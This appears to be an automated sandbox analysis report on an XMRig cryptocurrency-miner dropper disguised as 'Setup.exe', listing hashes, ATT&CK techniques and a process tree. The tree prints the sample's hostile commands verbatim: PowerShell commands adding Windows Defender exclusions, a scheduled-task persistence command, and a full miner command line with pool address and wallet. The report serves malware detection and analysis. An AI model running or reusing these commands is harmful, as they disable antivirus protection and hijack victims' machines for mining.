xmrig | 643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
21/12/2024, 17:40

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General

Target

Setup.exe
Size

29.8MB
MD5

f39a0615ad5482c3ffd8f46baeac3ac3
SHA1

e4cd77ab330f734e7a5253c07c559e8c92d88c35
SHA256

643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b
SHA512

fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481
SSDEEP

786432:PkvEnDem3vOYqVx9BvEiI8hXcclLOhiKw+HSD:svEn6mfN4xvcehFs7SD

Score

10^/10

xmrig execution miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral4/memory/2516-68-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-69-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-73-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-75-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-76-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-74-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-72-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral4/memory/2516-80-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4420	powershell.exe
5288	powershell.exe
5432	powershell.exe
3740	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4244	services64.exe
5444	sihost64.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4980 set thread context of 2516	4980	conhost.exe	95

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4680	conhost.exe
3740	powershell.exe
3740	powershell.exe
4420	powershell.exe
4420	powershell.exe
4980	conhost.exe
4980	conhost.exe
5288	powershell.exe
5288	powershell.exe
5432	powershell.exe
5432	powershell.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe
2516	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	conhost.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4980	conhost.exe
Token: SeDebugPrivilege	5288	powershell.exe
Token: SeDebugPrivilege	5432	powershell.exe
Token: SeLockMemoryPrivilege	2516	explorer.exe
Token: SeLockMemoryPrivilege	2516	explorer.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 5368 wrote to memory of 4680	5368	Setup.exe	77
PID 5368 wrote to memory of 4680	5368	Setup.exe	77
PID 5368 wrote to memory of 4680	5368	Setup.exe	77
PID 4680 wrote to memory of 2236	4680	conhost.exe	78
PID 4680 wrote to memory of 2236	4680	conhost.exe	78
PID 2236 wrote to memory of 3740	2236	cmd.exe	80
PID 2236 wrote to memory of 3740	2236	cmd.exe	80
PID 4680 wrote to memory of 5832	4680	conhost.exe	82
PID 4680 wrote to memory of 5832	4680	conhost.exe	82
PID 5832 wrote to memory of 1796	5832	cmd.exe	84
PID 5832 wrote to memory of 1796	5832	cmd.exe	84
PID 2236 wrote to memory of 4420	2236	cmd.exe	85
PID 2236 wrote to memory of 4420	2236	cmd.exe	85
PID 4680 wrote to memory of 1956	4680	conhost.exe	86
PID 4680 wrote to memory of 1956	4680	conhost.exe	86
PID 1956 wrote to memory of 4244	1956	cmd.exe	88
PID 1956 wrote to memory of 4244	1956	cmd.exe	88
PID 4244 wrote to memory of 4980	4244	services64.exe	89
PID 4244 wrote to memory of 4980	4244	services64.exe	89
PID 4244 wrote to memory of 4980	4244	services64.exe	89
PID 4980 wrote to memory of 2444	4980	conhost.exe	90
PID 4980 wrote to memory of 2444	4980	conhost.exe	90
PID 2444 wrote to memory of 5288	2444	cmd.exe	92
PID 2444 wrote to memory of 5288	2444	cmd.exe	92
PID 4980 wrote to memory of 5444	4980	conhost.exe	93
PID 4980 wrote to memory of 5444	4980	conhost.exe	93
PID 2444 wrote to memory of 5432	2444	cmd.exe	94
PID 2444 wrote to memory of 5432	2444	cmd.exe	94
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 4980 wrote to memory of 2516	4980	conhost.exe	95
PID 5444 wrote to memory of 4576	5444	sihost64.exe	96
PID 5444 wrote to memory of 4576	5444	sihost64.exe	96
PID 5444 wrote to memory of 4576	5444	sihost64.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5368
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4420
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5832
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1796
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4244
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4980
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5288
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5432
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5444
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:4576
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=44uwibUE5EF8oiYGZWhDJ6YxTYoL8YgzyYw5ofRojJrtZydAndawV157eimKXonkgsi8ZNdvRq22xC6dmxwmq2tpQ4nTUDe --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
77c55532f6106f9f01c86aac8ad7d486

SHA1
6083606a4db53d5b82f62441b749be6c7812d15a

SHA256
ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d

SHA512
dcb680b4205411eee8aadf3f9fbaf4aeea0e2a5216e4812abf96c9f71a19805088e5dd3adf784a66ad6ca0989279da405920e3c1e82b9fb4d12dae1762ebeb8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
781da0576417bf414dc558e5a315e2be

SHA1
215451c1e370be595f1c389f587efeaa93108b4c

SHA256
41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe

SHA512
24e283aa30a2903ebe154dad49b26067a45e46fec57549ad080d3b9ec3f272044efaaed3822d067837f5521262192f466c47195ffe7f75f8c7c5dcf3159ea737

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvxsz5m1.dlc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
554b19e8d2cd3728ec5557c08cd2151b

SHA1
7f22b80a8b3a141a93735f4423fda76f914dd92c

SHA256
53b161d512a4cc0e7ad58be8bb5155e37399afe56cd7df38e9f0c4f09bb1cf56

SHA512
46103c9ffb4483107ad0f5b91aba14464747a75a058d2610714f7155e0c014b094de0fb7f40d1515a008f70763131a4b7964d739a2e4381ac38a47755f6938a0

Download Submit
C:\Windows\system32\services64.exe

Filesize
29.8MB

MD5
f39a0615ad5482c3ffd8f46baeac3ac3

SHA1
e4cd77ab330f734e7a5253c07c559e8c92d88c35

SHA256
643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

SHA512
fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481

Download Submit
memory/2516-73-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-76-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-80-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-72-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-74-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-75-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-71-0x0000000002880000-0x00000000028A0000-memory.dmp

Filesize
128KB

Download
memory/2516-69-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2516-68-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/3740-16-0x0000029870F00000-0x0000029870F22000-memory.dmp

Filesize
136KB

Download
memory/4576-79-0x0000021717BE0000-0x0000021717BE6000-memory.dmp

Filesize
24KB

Download
memory/4576-78-0x0000021716070000-0x0000021716077000-memory.dmp

Filesize
28KB

Download
memory/4680-30-0x00007FF83F030000-0x00007FF83FAF2000-memory.dmp

Filesize
10.8MB

Download
memory/4680-34-0x00007FF83F030000-0x00007FF83FAF2000-memory.dmp

Filesize
10.8MB

Download
memory/4680-0-0x000002A21E180000-0x000002A21FF3F000-memory.dmp

Filesize
29.7MB

Download
memory/4680-2-0x00007FF83F030000-0x00007FF83FAF2000-memory.dmp

Filesize
10.8MB

Download
memory/4680-4-0x000002A2239D0000-0x000002A2239E2000-memory.dmp

Filesize
72KB

Download
memory/4680-5-0x000002A2239F0000-0x000002A2239FA000-memory.dmp

Filesize
40KB

Download
memory/4680-6-0x00007FF83F030000-0x00007FF83FAF2000-memory.dmp

Filesize
10.8MB

Download
memory/4680-3-0x000002A23E010000-0x000002A23FDCE000-memory.dmp

Filesize
29.7MB

Download
memory/4680-1-0x00007FF83F033000-0x00007FF83F035000-memory.dmp

Filesize
8KB

Download
memory/4680-7-0x00007FF83F030000-0x00007FF83FAF2000-memory.dmp

Filesize
10.8MB

Download